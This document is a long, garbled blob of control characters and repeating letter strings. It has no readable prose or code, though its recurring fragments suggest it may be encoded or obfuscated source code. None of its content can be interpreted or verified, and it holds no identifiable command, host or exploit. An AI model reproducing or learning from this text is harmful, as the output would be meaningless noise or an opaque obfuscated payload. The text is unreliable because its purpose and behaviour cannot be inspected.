??H?GPA@G[B@ME] R[FPj?H?S@[VA\Z[DEBWAOEZ\R\_YMCGZB@ME] R[FPj??N?\S\BjCDOETLDWORB@ME] R[FPjIIWW]YL^QYEQ[YB@ME] R[FPj	GPA@G[B@ME] R[FPj?\SOLX^FPPZQAB@ME] R[FPjiMSiMWGPA@G[B@ME] R[FPj??\SOLX^FPPZQAB@ME] R[FPj	MMSGPA@G[STYFP?X^] GG CjuOLX^FPPZQAc\BjCDOETLDWORB@ME] R[FPj k  ?X^] GG CjWW]YL^QYEQ[YX^] GG Cj
X^] GG CjnhYEV_RQR@IQGPGD\X QT^EYEV_RQR@k????\SX^] GG Cj	IIX^] GG CjMPWSPMVGPA@G[STYFP????\SOLX^FPPZQA\RGWQZ[WSVFN?PG[P]ZYOuROQPVZQPB@ME] R[FPj  ???\SPG[P]ZYOSTYFPGPA@G[PG[P]ZYO?H?\S\BjCDOETLDWOR\RGWQZ[WSVFN????PG[P]ZYOuRO\[SYTAP\RGWQZ[WSVFB@ME] R[FPjk\RGWQZ[WSVFB@ME] R[FPj ???GPA@G[\RGWQZ[WSVFPG[P]ZYO\RGWQZ[WSVFPG[P]ZYO	MPPMV
PG[P]ZYOSTYFP?H?GPA@G[STYFP???H?????\SOLX^FPPZQA\BjCDOETLDWOR N???S@[VA\Z[]PMW\[LAFDS]?N??\SWW]YL^QYEQ[YLAFDS]IIWW]YL^QYEQ[YLAFDS]N?GPA@G[STYFP?H?GPA@G[\RGWQZ[WSVF\RGWQZ[WSVFLAFDS]?H?H???S@[VA\Z[B]OM@L]P@\S????N?W\jQMESBMTGGTL?O@RZB]VAXZLW[_PTGGTLtwfeta}twfeta}\BjCDOETLDWORtwfeta}OLX^FPPZQA?\SQPS\[PQWW]YL^QYEQ[YO@RZB]VAXZLW[_Pnhbejvz{ap{ajq|g?SZGPTV]O@RZB]VAXZLW[_PTFPG[P]ZYON?MjP\XTPBMP\RGWQZ[WSVFOLX^FPPZQA 
uWW]YL^QYEQ[YPG[P]ZYO\RGWQZ[WSVFSTYFP?\S\BjCDOETLDWORMjP\XTPBMPN?SZGPTV]MjP\XTPBMPTFQPDXZTSXXWEN????B[FDCCZuWW]YL^QYEQ[YQPDXZTSXXWE????\SB[FDCCZB[FDCCZN?W\jQMESBMnhB[FDCCZ????H?H?H?u\[\A\TY\OPQ\FETAV]PG??H????\SPXEALW\jQMESBMN?CSROQSW\jQMESBMnOLX^FPPZQAW\jQMESBMh??GPA@G[CSROQSCSROQS  EG_MOYQX_C?H?MA\MRST@DWWW]YL^QYEQ[Y   ?W__Z\O\XM\\BjCDOETLDWOR\BjCDOETLDWOR 
BEjGT[QMWMMQMW \RGWQZ[WSVF  ?CSROQSMA\MRST@DWW__Z\O\XM\?GPA@G[CSROQSCSROQS  EG_MOYQX_C?H?S@[VA\Z[FGFDjWZGEOT\E_X_VEQRS]TB\ZP_FM BEZXMWXT[@YY?N?RVFEBFSYS@[VA\Z[ACAE]YQFW@FPZXMWXTN?\SOLX^FPPZQAACAE]YQFWIIACAE]YQFWGPA@G[STYFP?\S\BjCDOETLDWORACAE]YQFW GPA@G[STYFP?\SZXMWXTN??AGLN??GPA@G[WZZY\RGWQZ[WSVFZXMWXTACAE]YQFW?HVTAV]a]GZBTWYPYA[E WAjN???GPA@G[STYFP?HVTAV]pMVPEA\Z[YA[E WAjN?GPA@G[STYFP?H?H???GPA@G[AG@P?H?\QA_GCYB_A[OL\RGWQZ[WSVF\RGWQZ[WSVF
uWW]YL^QYEQ[Y_X_VEQRSTGGTL?WW]YL^QYEQ[Y]TB\ZP_FM BE?OLX^FPPZQASTYFP?\RGWQZ[WSVFMQQPM??STYFP??\S\QA_GCYB_A[OLOLX^FPPZQAWW]YL^QYEQ[YII\FjBEjPGGZG\QA_GCYB_A[OLN????\S\[ABEjGPXZAPjGPAG\PCPjGPFEZ[FPjVZQP\QA_GCYB_A[OL k N?XW]\LBBj_BEjGPXZAPjGPAG\PCPjWZQL\QA_GCYB_A[OL?\SRVFEBFSYXW]\LBBj_GPA@G[XW]\LBBj_?H?H?\SWW]YL^QYEQ[Y\RGWQZ[WSVF \BjCDOETLDWOROLX^FPPZQAWW]YL^QYEQ[YWW]YL^QYEQ[YN?L@TQ]RWL[u\BjCDOETLDWOR _X_VEQRS?\SL@TQ]RWL[STYFPGPA@G[STYFP???uWW]YL^QYEQ[YL@TQ]RWL[TGGTL?VZ[FAT[AWW]YL^QYEQ[YAG@P?VZ[FAT[AWW]YL^QYEQ[Y]TB\ZP_FM BE????VZ[FAT[AWW]YL^QYEQ[YSTYFP?VZ[FAT[A\BjCDOETLDWOR?VZ[FAT[A\BjCDOETLDWORSTYFP???VZ[FAT[A\BjCDOETLDWORS@[VA\Z[\XFRSE]_EOEW@S^\^[L\RRQOSNGPA@G[^[L\RRQOS 
H??????XPWBB_TP FD[u\RGWQZ[WSVFL@TQ]RWL[?]BL@ YSSLM@uV@GYjPGG[ZL@TQ]RWL[?]\[GYjLPOuV@GYjRPA\[SZL@TQ]RWL[????uV@GYjVYZFPL@TQ]RWL[?\S]BL@ YSSLM@GPA@G[STYFP?\S\[A]\[GYjLPOnOLX^FPPZQAh  XPWBB_TP FD[STYFPRVFEBFSYXPWBB_TP FD[N?GPA@G[XPWBB_TP FD[?H?H?QPFAG@VA\Z[ZWFPGCPG??GPA@G[STYFP?H??S@[VA\Z[CAQRZCV_X_VEQRS][XLWAWjFMSYFOBVDXM]FF@]TB\ZP_FM BEZXMWXT[@YY?N?RVFEBFSYS@[VA\Z[ACAE]YQFW@FPZXMWXTN?\S\RGWQZ[WSVFACAE]YQFWIIACAE]YQFWGPA@G[STYFP?\S\RGWQZ[WSVFACAE]YQFW GPA@G[STYFP?\SZXMWXTN????AGLN?GPA@G[WZZY\BjCDOETLDWOR ZXMWXTACAE]YQFW?HVTAV]a]GZBTWYPYA[E WAjN??GPA@G[STYFP?HVTAV]pMVPEA\Z[YA[E WAjN?GPA@G[STYFP?H???H?GPA@G[AG@P?H?\QA_GCYB_A[OL\BjCDOETLDWOR\RGWQZ[WSVF
u\BjCDOETLDWOR_X_VEQRSTGGTL?WW]YL^QYEQ[Y]TB\ZP_FM BE??OLX^FPPZQASTYFP?OLX^FPPZQA?WW]YL^QYEQ[YOBVDXM]FF@?WW]YL^QYEQ[Y][XLWAWjFMSYF????STYFP?\SWW]YL^QYEQ[Y\BjCDOETLDWOR\FjBEjPGGZG\QA_GCYB_A[OLN?HPYFP\S\QA_GCYB_A[OLN?AWX ALZ@YVE\[ABEjGPXZAPjGPAG\PCPjGPFEZ[FPjVZQP\QA_GCYB_A[OL?ME\LEPYBEjGPXZAPjGPAG\PCPjWZQL\QA_GCYB_A[OL????PV]YVPB]WZOQ_]BEjGPXZAPjGPAG\PCPj]PTQPGF\QA_GCYB_A[OL?@[X @C[\X\@ZRR?\SOLX^FPPZQAPV]YVPB]WZOQ_]N?beeZFAvZXXP[AFZWFAG@VA\Z[SGPPW\CTG\T[A??SZGPTV]PV]YVPB]WZOQ_]TFP@jSAG _W C^jMLGRBYN?@[X @C[\X\@ZRRP@jSAG _W \RGWQZ[WSVFC^jMLGRBYOLX^FPPZQA ?H????H?\SAWX ALZ@YVERVFEBFSYME\LEPYN?GPA@G[ME\LEPY???H?HPYFPN?H?\SWW]YL^QYEQ[YOLX^FPPZQA OLX^FPPZQAOLX^FPPZQA\BjCDOETLDWOROLX^FPPZQAN?L@TQ]RWL[u\BjCDOETLDWOR _X_VEQRS?\SL@TQ]RWL[STYFPN?GPA@G[STYFP?H?uE@WY\F]GPVZGQYTLPG??ZDE]SRjTPTGGTL?SZGPTV]OBVDXM]FF@TFP@jSAG _W C^jMLGRBYN?ZDE]SRjTPnhP@jSAG _W \RGWQZ[WSVFC^jMLGRBY?H?u\RGWQZ[WSVFL@TQ]RWL[TGGTL?VZ[FAT[A\RGWQZ[WSVFAG@P????VZ[FAT[AOLX^FPPZQA][XLWAWjFMSYF?VZ[FAT[AOLX^FPPZQAAG@P?VZ[FAT[A\RGWQZ[WSVF]TB\ZP_FM BE?VZ[FAT[AOLX^FPPZQASTYFP?VZ[FAT[AWW]YL^QYEQ[Y?VZ[FAT[A\RGWQZ[WSVF ZDE]SRjTP?VZ[FAT[A\BjCDOETLDWORSTYFP?VZ[FAT[A\RGWQZ[WSVFS@[VA\Z[\XFRSE]_EOEW@S^\^[L\RRQOSNGPA@G[^[L\RRQOS
H??XPWBB_TP FD[u\RGWQZ[WSVFL@TQ]RWL[???]BL@ YSSLM@uV@GYjPGG[ZL@TQ]RWL[?]BSjOSVGATOuV@GYjPGGZGL@TQ]RWL[?]\[GYjLPOuV@GYjRPA\[SZL@TQ]RWL[????O]M_BE\_[QZ^M\[A]\[GYjLPOn\BjCDOETLDWORh?\S]BL@ YSSLM@N?uV@GYjVYZFPL@TQ]RWL[?GPA@G[STYFP???H?xLfdyB\[QZBS@[VA\Z[FQL[TX\VEG\[V\ETY?????uV@GYjVYZFPL@TQ]RWL[ST\VB\@DSWQADZLS\AYQRST\VB\@DSWQ?\SO]M_BE\_[QZ^MMMV XPWBB_TP FD[STYFPRVFEBFSYXPWBB_TP FD[N?GPA@G[XPWBB_TP FD[????H??\SXPWBB_TP FD[N?H?GPA@G[STYFP?H?GPA@G[STYFP?H??S@[VA\Z[]QCLE^A BTC^QC?N?CMMQY_@[]QRD^[[PX[DLZBLP^TRB_?CXO_GL@R^YYAD]Rj@PDECCLWS]??\SPXEALCMMQY_@[]QRD^IIPXEALCXO_GL@R^YYAN?GPA@G[TGGTL?H??YVA_RWF_@j^BWW]YL^QYEQ[Y\RGWQZ[WSVF 
FAG\[RRPAjZEA\Z[\BjCDOETLDWOR ????\SYVA_RWF_@j^BN?@[YZTQWTAV]G\[RW@SSPG??CXO_GL@R^YYA\RGWQZ[WSVF WW]YL^QYEQ[YCXO_GL@R^YYATGGTLYVA_RWF_@j^B??WW]YL^QYEQ[Y CXO_GL@R^YYAYVA_RWF_@j^B?H??^XCj[FLC]\BjCDOETLDWOR CMMQY_@[]QRD^n\RGWQZ[WSVF  CMMQY_@[]QRD^h?\S^XCj[FLC]N???GPA@G[TGGTL?H???][XLWAWjFMSYF\RGWQZ[WSVF ^XCj[FLC]WW]YL^QYEQ[Y ?B[QLS_Z\CTOPTGGTL\RGWQZ[WSVF \BjCDOETLDWOR ?TXQX@_\A@\RGWQZ[WSVFAG@P?SZGPTV]CXO_GL@R^YYATFEYR\ G\AQN??\SOLX^FPPZQAAG@PTXQX@_\A@N?WGPT^?H?gPVAZGT@AZGPSTVAZGGZATAPGPFZYCPG???EYR\ G\AQOLX^FPPZQAFAG\[REYR\ G\AQ????\SEYR\ G\AQN?VZ[A\[@P???H?AGLN?ME\LEPYCAQRZCVEYR\ G\AQ][XLWAWjFMSYFB[QLS_Z\CTOPMMS@[VA\Z[ACAE]YQFWN?A_jPYM\juOLX^FPPZQAACAE]YQFWAG@P?GPA@G[\RGWQZ[WSVFA_jPYM\j\FFPAA_jPYM\jn\RGWQZ[WSVFh?H?\SME\LEPYSTYFPN?VZ[A\[@P?H?DR[R^A^YTP@[]uWW]YL^QYEQ[YME\LEPYAG@P?\SOLX^FPPZQADR[R^A^YTP@[]II\FFPADR[R^A^YTP@[]nWW]YL^QYEQ[YhIIWW]YL^QYEQ[YDR[R^A^YTP@[]nWW]YL^QYEQ[Y hN?VZ[A\[@P?H??LAFDS]DR[R^A^YTP@[]n\RGWQZ[WSVF h????\S\BjCDOETLDWORLAFDS]WW]YL^QYEQ[YN?TY\TFT[TYLOPF@WFVG\WPGSZGbef\APpQ\AZG??LAFDS]\BjCDOETLDWORLAFDS]????H??LY[L[^X]uOLX^FPPZQA LAFDS]?\SLY[L[^X]STYFPII\BjCDOETLDWORLY[L[^X]	N?VZ[A\[@P?H??TGOVZLT^QP]MMW?S]_VMEGM YWW]YL^QYEQ[YLY[L[^X]nTGOVZLT^QP]h?BT]jLA@LZBFFAOLX^FPPZQALY[L[^X]TGOVZLT^QP]S]_VMEGM Y?\S\BjCDOETLDWORBT]jLA@LZBFFAII\BjCDOETLDWORBT]jLA@LZBFFA	MMN?VZ[A\[@P?H??]LCSZj_\WEGEZOLX^FPPZQABT]jLA@LZBFFAnh??\S]LCSZj_\WEGEZ	II\RGWQZ[WSVFBT]jLA@LZBFFA	]LCSZj_\WEGEZN??VZ[A\[@P???H????FMTWC[\BjCDOETLDWORBT]jLA@LZBFFA]LCSZj_\WEGEZ????DDQF]GOjDWW]YL^QYEQ[YBT]jLA@LZBFFA]LCSZj_\WEGEZ?\S\BjCDOETLDWORFMTWC[IIOLX^FPPZQADDQF]GOjDN?VZ[A\[@P?H??XL^EEPA[OOFDOBWF]]LMPP\jDDQF]GOjDFMTWC[???\S\RGWQZ[WSVFXL^EEPA[IIWW]YL^QYEQ[YXL^EEPA[	N?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YWW]YL^QYEQ[Y ?VZ[A\[@P?H??^AjPVFWYWW]YL^QYEQ[YXL^EEPA[nh????\S^AjPVFWY	IIOLX^FPPZQAXL^EEPA[	^AjPVFWYN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFWW]YL^QYEQ[Y?VZ[A\[@P?H??SDV@DQ^QQ]X\RGWQZ[WSVFXL^EEPA[^AjPVFWY?LDXOZGXV\Z_^TEYOLX^FPPZQAXL^EEPA[^AjPVFWY?ZSjQ ]GS PWW]YL^QYEQ[Y OLX^FPPZQA\BjCDOETLDWOR OLX^FPPZQAOLX^FPPZQA\RGWQZ[WSVFLDXOZGXV\Z_^TEY?\S\RGWQZ[WSVFOLX^FPPZQAN????@EQTAPjZEA\Z[\RGWQZ[WSVF EYR\ G\AQ?@EQTAPjZEA\Z[\BjCDOETLDWORWW]YL^QYEQ[Yi[ZSjQ ]GS P?H?GPA@G[TGGTL\BjCDOETLDWOR SDV@DQ^QQ]X\RGWQZ[WSVFZSjQ ]GS P?HVTAV]a]GZBTWYPYA[E WAjNOTE]]DOY^e}ejxtzgjcpgf|z{W@QDWAL_S[OTE]]DOY^?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?VZ[A\[@P?HVTAV]pMVPEA\Z[YA[E WAjN?uGPWTYT[VPXPFFTRPD@P@P??VZ[A\[@P?H?H?PF]C^GjOLX^FPPZQAWW]YL^QYEQ[Y 
FAG\[RRPAjZEA\Z[\RGWQZ[WSVF?YRL\]QZOPE WM]W\@C_BRB@GO[^jjMOLX^FPPZQA?\SPF]C^Gj\RGWQZ[WSVFYRL\]QZOPE WMYRL\]QZOPE WMN?ZSjQ ]GS P\RGWQZ[WSVF\BjCDOETLDWOROLX^FPPZQA WW]YL^QYEQ[Y\RGWQZ[WSVF\RGWQZ[WSVFPF]C^GjOLGEQWZLYMM V_ AQWLjG OLGEQWZLY?\SPXEALZSjQ ]GS PN????GPA@G[TGGTLWW]YL^QYEQ[Y YRL\]QZOPE WM\RGWQZ[WSVFZSjQ ]GS PAR]GRL^^]BOWYAR]GR ?H?H?Z^MWjQGV^@FQTLY@\BjCDOETLDWORWW]YL^QYEQ[Y???GPA@G[TGGTL?H?S@[VA\Z[BM^A]TS[E^METFXQ@@WRZ^BW_ETGZLQ[DRjG]?N?\S\BjCDOETLDWOROLX^FPPZQA N?GPA@G[STYFP???H?M]MXZ[OCBRDXGOLX^FPPZQAQ@@WRZ^BW_?XYXj_DDEXL\@OLX^FPPZQAWW]YL^QYEQ[Y?OWEAEM@\W?SZGA^C D]P\ OZLGBXLMAOLX^FPPZQAM]MXZ[OCBRDXGA^C D]P\ 	OZLGBXLMAA^C D]P\ N?OWEAEM@\W\RGWQZ[WSVF\BjCDOETLDWORM]MXZ[OCBRDXGnA^C D]P\ hk\RGWQZ[WSVFXYXj_DDEXL\@?H?GPA@G[@EQTAPjZEA\Z[[E^METFXWW]YL^QYEQ[YXYXj_DDEXL\@OWEAEM@\WETGZLQ[DRjG]STYFP??H??S@[VA\Z[T]\FS[jCQDGT^CM@[E^METFX[C[^\jjW?N?\S\RGWQZ[WSVF\RGWQZ[WSVFGPA@G[[C[^\jjW?AOVXSZE_Q^RPAjZEA\Z[[E^METFX?\SAOVXSZE_Q^II\RGWQZ[WSVFAOVXSZE_Q^N?GPA@G[[C[^\jjW?H???QLM@^_L\X^FuWW]YL^QYEQ[YAOVXSZE_Q^AG@P?\SQLM@^_L\X^FSTYFPIIOLX^FPPZQAQLM@^_L\X^F	N??GPA@G[[C[^\jjW?H?XYXj_DDEXL\@QLM@^_L\X^Fnh?FGSCR_WQ__WP?SZGA^C D]P\ OZLGBXLMA\BjCDOETLDWORQLM@^_L\X^FA^C D]P\ 	OZLGBXLMAA^C D]P\ N?FGSCR_WQ__WP\RGWQZ[WSVF\BjCDOETLDWORQLM@^_L\X^FnA^C D]P\ hkOLX^FPPZQA XYXj_DDEXL\@??H?AQ_O\XPLR_CXjTFTAVD@TFGSCR_WQ__WP?GPA@G[AQ_O\XPLR_STYFP
AQ_O\XPLR_[C[^\jjW??H???S@[VA\Z[CXjTFTAVD@TBT]jLA@LZBFFA??N?\SWW]YL^QYEQ[YBT]jLA@LZBFFAGPA@G[STYFP?\SQPS\[PQOLX^FPPZQAe}ejcpgf|z{j|q NBO\AGM\[e}ej|{ajxtme}ej|{ajxtm][RQ[OCMBO\AGM\[?GPA@G[u\RGWQZ[WSVFBT]jLA@LZBFFATGGTLWW]YL^QYEQ[YSTYFP????H???GPA@G[uOLX^FPPZQABT]jLA@LZBFFA?H?S@[VA\Z[[F\VYSROOGMF^]????N?FATA\VP@jSAG _W [@YY?\SP@jSAG _W [@YYGPA@G[P@jSAG _W ?SYWSTOX[\GZQPS\[PQ\BjCDOETLDWOR
twfeta}?P@jSAG _W OLX^FPPZQA\BjCDOETLDWORiiSYWSTOX[\GZ??GPA@G[P@jSAG _W ????H???S@[VA\Z[P CPERLBjFTMZ@@Z[E^METFX?N?GPA@G[ZFPEEWPPYMG@][F\VYSROOGMF^]FAG\[REG_MOYQX_C[E^METFX?H?S@[VA\Z[Bj[MSRFPW[X^j ^GXLBMPLXjGZ_M?N??GPA@G[FAG\[R \[A]PMQPVOLX^FPPZQAOLX^FPPZQA[F\VYSROOGMF^]WW]YL^QYEQ[Y^GXLBMPLXjGZ_MMM  ??H?S@[VA\Z[YBBY_BCSQ?N?GPA@G[Bj[MSRFPW[X^j WW]YL^QYEQ[Y?H?S@[VA\Z[TBOWDG\[EQCWYQO^?N?PLMTDYES^ESBFAG\[R]W\@C_BRB@GO[^jjMOLX^FPPZQA?GPA@G[\BjCDOETLDWORPLMTDYES^ESBOLX^FPPZQAPLMTDYES^ESBYBBY_BCSQSTYFPOLX^FPPZQAFAG\[R]W\@C_BRB@GO[^jjM\RGWQZ[WSVFMPM ?H??S@[VA\Z[]W\@C_BRB@GO[^jjM[E^METFX[C[^\jjW?N?uXPQ\TAPV\E]PGF@\AP??GPA@G[T]\FS[jCQDGT^CM@P CPERLBjFTMZ@@Z[E^METFX[C[^\jjW?H?S@[VA\Z[ZQMT]OE]O[\j [E^METFX[C[^\jjW?N?C^jMLGRBY]W\@C_BRB@GO[^jjM[E^METFX[C[^\jjW?\SOLX^FPPZQAC^jMLGRBYGPA@G[C^jMLGRBY?\S\RGWQZ[WSVFC^jMLGRBYGPA@G[FAG\[RC^jMLGRBY?GPA@G[[C[^\jjW?H???S@[VA\Z[_OjYYOOALOTGQB[^XC[E^METFXQ@@WRZ^BW_ETGZLQ[DRjG]?N?BM^A]TSP CPERLBjFTMZ@@Z[E^METFXQ@@WRZ^BW_ETGZLQ[DRjG]???H?S@[VA\Z[RDGQA[F][GOARYXPM?N?T^[ZAjXSMPR\FFPAryzwtyfnWW]YL^QYEQ[Y h
ryzwtyfnOLX^FPPZQA hTGGTL?AOVXSZE_Q^]W\@C_BRB@GO[^jjMWW]YL^QYEQ[YTGGTL?\SOLX^FPPZQAAOVXSZE_Q^N?T^[ZAjXSMPRWW]YL^QYEQ[YAOVXSZE_Q^T^[ZAjXSMPR?H?T^[ZAjXSMPR\BjCDOETLDWORT^[ZAjXSMPR?GPA@G[\BjCDOETLDWORT^[ZAjXSMPRMM?H????S@[VA\Z[]FQ@RDR[\XEPZMF?N?bey\FAwYZV^S\M@ETYYZVTAZG??\S\FFPAryzwtyfn\RGWQZ[WSVF hIIPXEALryzwtyfnWW]YL^QYEQ[Y hGPA@G[?AGLN?AOVXSZE_Q^]W\@C_BRB@GO[^jjMWW]YL^QYEQ[YTGGTL?MTCPSM_[WW]YL^QYEQ[YWW]YL^QYEQ[YTGGTLAOVXSZE_Q^ryzwtyfn\RGWQZ[WSVF h?MTCPSM_[WW]YL^QYEQ[YMTCPSM_[?_OjYYOOALOTGQB[^XCWW]YL^QYEQ[YMTCPSM_[\BjCDOETLDWOR???HVTAV]a]GZBTWYPYA[E WAjNOW@]F[F GVCAOFOW@]F[F?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN????H?H??S@[VA\Z[OOFDOBWF]]LMPP\jBT]jLA@LZBFFA^PL??N?\S\RGWQZ[WSVFBT]jLA@LZBFFAII\BjCDOETLDWOR^PLIIOLX^FPPZQA^PLN?GPA@G[[@YY??H?\Y]LREV[[QLOLX^FPPZQA BT]jLA@LZBFFA????BYGV[F[_V\\BjCDOETLDWOR ^PL?G\OVC_OZ]D[QMjM?SZGA^C D]P\ A^C D]P\ 	\Y]LREV[[QLA^C D]P\ N?G\OVC_OZ]D[QMjM\RGWQZ[WSVF\RGWQZ[WSVFBT]jLA@LZBFFAnA^C D]P\ hkOLX^FPPZQA^PLnA^C D]P\ BYGV[F[_V\h?H?GPA@G[G\OVC_OZ]D[QMjM??H??S@[VA\Z[D_\TASZGWGAO_\]PF^DTYP\GS??N??\SWW]YL^QYEQ[Y^DTYP\GSN?^DTYP\GSTGGTL?H?jXWEFVVD[Q]P MZD^\[\BD?T^B__RYREERX\RGWQZ[WSVF\BjCDOETLDWOR
T]\FS[jCQDGT^CM@OLX^FPPZQASTYFPSTYFP????\SWW]YL^QYEQ[YT^B__RYREERX\FFPAT^B__RYREERXn\BjCDOETLDWORh\[AT^B__RYREERXn\BjCDOETLDWORh\[AT^B__RYREERXnWW]YL^QYEQ[Yh	jXWEFVVD[Q\[AT^B__RYREERXnWW]YL^QYEQ[Yh?\SjXWEFVVD[Q			N?jXWEFVVD[QMMQV??H?^DTYP\GSn\BjCDOETLDWORhTGGTL?\RGWQZ[WSVFjXWEFVVD[Q?OLX^FPPZQA\BjCDOETLDWOR??^DTYP\GSn\RGWQZ[WSVFhTGGTL?\BjCDOETLDWOR ?WW]YL^QYEQ[Y WW]YL^QYEQ[Y???GPA@G[^DTYP\GS?H??S@[VA\Z[MMALXPRCVXXYWZCZ?N?\S\BjCDOETLDWOR\BjCDOETLDWORII\RGWQZ[WSVF\RGWQZ[WSVFGPA@G[?\SVX\_MQ  YSX[BOLX^FPPZQAGPA@G[?AGLN?\SBEj[PMAjFV]PQ@YPQO[BXODBGCPN?bef\APpQ\AZGEGPPXEAZGV]PFAGTAZG??BEjFV]PQ@YPjPCP[AOLX^FPPZQAWW]YL^QYEQ[Yk\BjCDOETLDWORO[BXODBGCP?H?HS\[TYYLN?bepXWPQwYZV^WTAV]XPXP[AZ?????R F]XTZW\LVGWW]YL^QYEQ[Y???H?H??S@[VA\Z[EVRO VDESV^GMF_Q?N?????\SQPS\[PQWW]YL^QYEQ[Yqz|{rjvgz{N?GPA@G[?H??????FATA\V^BL WT GSTYFP?\S^BL WT GGPA@G[?^BL WT GAG@P?????\SEWOO j^GTYC@[A_]LZN?GPA@G[?H?bev@FAZXy\[^\[CPGA\WYPAZ^P[W@V^PA????RL^YFCQO@C^WOLX^FPPZQA\RGWQZ[WSVF?H????S@[VA\Z[VQ@GDXM@VEA^ZRWY?N?\SWW]YL^QYEQ[Y\BjCDOETLDWOR IIOLX^FPPZQAWW]YL^QYEQ[YGPA@G[????u\RGWQZ[WSVF F\APj@GY\RGWQZ[WSVF\RGWQZ[WSVFFAG\[R\BjCDOETLDWORAG@PWW]YL^QYEQ[YMM TGGTL\RGWQZ[WSVFWW]YL^QYEQ[YSTYFPOLX^FPPZQASTYFP????H???S@[VA\Z[FQ_DLQWS\^RM]?N?FATA\V[A@ ^LMSTYFP?\S[A@ ^LMGPA@G[?[A@ ^LMAG@P?AGLN?O]VO_[]CBSSTYFP?\SWW]YL^QYEQ[Y\BjCDOETLDWORN?\BjCDOETLDWOR?O]VO_[]CBSAG@P?HPYFP\S\RGWQZ[WSVF WW]YL^QYEQ[Y N?OLX^FPPZQA ?O]VO_[]CBSAG@P???HPYFPN?\S\RGWQZ[WSVF \BjCDOETLDWOR N?u\BjCDOETLDWOR AG@P?H?ZLMWARA]O]ALGj\BjCDOETLDWOR \BjCDOETLDWOR uWW]YL^QYEQ[Y \RGWQZ[WSVF  ?\S]PTQPGFjFP[AZLMWARA]O]ALGj\RGWQZ[WSVF OLX^FPPZQA \BjCDOETLDWOR N?jVYuZWjRPAjYP[RA]??\SjVYSTYFPjVYN????u]PTQPG\RGWQZ[WSVF jVY?u]PTQPGWW]YL^QYEQ[Y ?H???H?\S\BjCDOETLDWOR N???u\BjCDOETLDWOR???H?uWW]YL^QYEQ[Y?H???LCD_FMQAEWW]YL^QYEQ[Y OLX^FPPZQAQPS\[PQWW]YL^QYEQ[Yq|ftwypjbejvgz{?RLSY TVASR_\RGWQZ[WSVF \RGWQZ[WSVFII\[ARPAjZEA\Z[WW]YL^QYEQ[Y ?\SRLSY TVASR_WW]YL^QYEQ[Y \RGWQZ[WSVFWW]YL^QYEQ[Y \RGWQZ[WSVF N??LGjZPTVFAG\[RRPAjZEA\Z[\RGWQZ[WSVF????\SLGjZPTVBRW^TOAOBRZT[TBSAN?VYZEP[TSS\[PALEP??u@EQTAPjZEA\Z[WW]YL^QYEQ[YBRW^TOAOBRZT[TBSAOLX^FPPZQA?u@EQTAPjZEA\Z[\BjCDOETLDWOR OLX^FPPZQA?RLSY TVASR_AG@P?H?H?XCV^XXA^BDXCSTYFP?\SLCD_FMQAEOLX^FPPZQA\BjCDOETLDWORN?^^[GLMF SYDDWBEj[PMAjFV]PQ@YPQO[BXODBGCP?\S^^[GLMF SYDDWWW]YL^QYEQ[Y\[A^^[GLMF SYDDW N?XCV^XXA^BDXCAG@P?\SOLX^FPPZQA\RGWQZ[WSVFuBEj@[FV]PQ@YPjPCP[A\[A^^[GLMF SYDDWO[BXODBGCP?H?H?\SLCD_FMQAERLSY TVASR_XCV^XXA^BDXCN?TPFB ][SQZGE]\BjCDOETLDWOR\BjCDOETLDWOR
\[ABEj[PMAjFV]PQ@YPQO[BXODBGCP?\STPFB ][SQZGE]	IITPFB ][SQZGE]OLX^FPPZQA  N?uBEjFV]PQ@YPjF\[RYPjPCP[A\BjCDOETLDWORO[BXODBGCP???H??TXQVRYXZ^SQX\jW[W?GPA@G[?H?\SXCV^XXA^BDXCZ^MWjQGV^@FQTLY@\RGWQZ[WSVF\BjCDOETLDWOR????\SO]VO_[]CBSN?\SLCD_FMQAEuBEjFV]PQ@YPjF\[RYPjPCP[AWW]YL^QYEQ[YO[BXODBGCP?VQ@GDXM@VEA^ZRWY?TXQVRYXZ^SQX\jW[W??GPA@G[?H?\SOLX^FPPZQAWW]YL^QYEQ[YuWW]YL^QYEQ[Y???@GXWBYBBDE?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H??S@[VA\Z[M^[OL_AQTFLV ?N?AGLN?\S\RGWQZ[WSVF\BjCDOETLDWORN?GPA@G[XV@PSOe}ej|{ajxtme}ej|{ajxtmWjDPXTXV@PSO?H??jWFO@BX^OLX^FPPZQA\RGWQZ[WSVF
RPAjAGT[F\P[ATFFGjR\  O\^FDSTYFP?\SOLX^FPPZQA jWFO@BX^jWFO@BX^T]\FS[jCQDGT^CM@WW]YL^QYEQ[YSTYFP?\S\BjCDOETLDWOR jWFO@BX^N?GPA@G[???H??\S\FFPAjWFO@BX^n\RGWQZ[WSVFhOLX^FPPZQAjWFO@BX^nWW]YL^QYEQ[YhN?FATA\VTQ_XPFFTRPD@P@P??ryzwtyfn\BjCDOETLDWORhOQQQOSXSOQ\LRLjWFO@BX^n\BjCDOETLDWORh?H??\S\FFPAjWFO@BX^nWW]YL^QYEQ[YhWW]YL^QYEQ[YjWFO@BX^nWW]YL^QYEQ[YhN????ryzwtyfn\RGWQZ[WSVFhOQQQOSXSOQ\LRLjWFO@BX^nWW]YL^QYEQ[Yh?H??\S\FFPAjWFO@BX^nOLX^FPPZQAhOLX^FPPZQAjWFO@BX^n\RGWQZ[WSVFhN?ryzwtyfnWW]YL^QYEQ[YhjWFO@BX^nWW]YL^QYEQ[Y h?\[VGPXP[ATYVZXEZF\AP??H?\S\FFPAjWFO@BX^n\RGWQZ[WSVFhOLX^FPPZQAjWFO@BX^n\RGWQZ[WSVFhOLX^FPPZQA jWFO@BX^nOLX^FPPZQAhMTMN?ryzwtyfn\BjCDOETLDWORhjWFO@BX^nOLX^FPPZQAh???H?FV]PQ@YP[PRZA\TAZGSZGe}eS\WPGF???\S\FFPAjWFO@BX^nWW]YL^QYEQ[YhWW]YL^QYEQ[YjWFO@BX^nOLX^FPPZQAh\RGWQZ[WSVF jWFO@BX^n\RGWQZ[WSVFhN?ryzwtyfn\BjCDOETLDWORhjWFO@BX^n\BjCDOETLDWORh[VOBX[TMLMXSYF[VOBX[ ?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?HVTAV]